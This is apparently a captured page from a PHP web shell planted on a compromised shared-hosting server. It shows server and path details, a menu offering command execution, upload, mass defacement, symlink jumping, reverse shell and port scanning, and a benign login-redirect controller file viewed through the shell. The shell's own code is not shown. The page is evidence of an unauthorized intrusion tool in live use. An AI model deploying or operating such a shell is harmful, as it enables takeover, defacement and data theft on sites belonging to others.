Tul xxx Tul
User / IP
:
216.73.216.159
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
emprendo.com.co
/
public_html2
/
cuentame
/
controllers
/
Viewing: HomeController.php
<?php require_once __DIR__ . '/../core/Helper.php'; class HomeController extends Controller { public function index() { session_start(); if (!isset($_SESSION['user_id'])) { // Si no está logueado, redirige a la landing header('Location: ' . Helper::asset('index.html')); exit; } require_once '../cuentame/models/User.php'; $userModel = new User(); $role = $userModel->getRole($_SESSION['user_id']); if ($role === 'admin') { header('Location: ' . Helper::appUrl('admin/dashboard')); exit; } elseif (strtolower(trim($role)) === 'emprendedor') { header('Location: ' . Helper::appUrl('clientes')); exit; } else { header('Location: ' . Helper::appUrl('clientes')); exit; } } }
Coded With 💗 by
0x6ick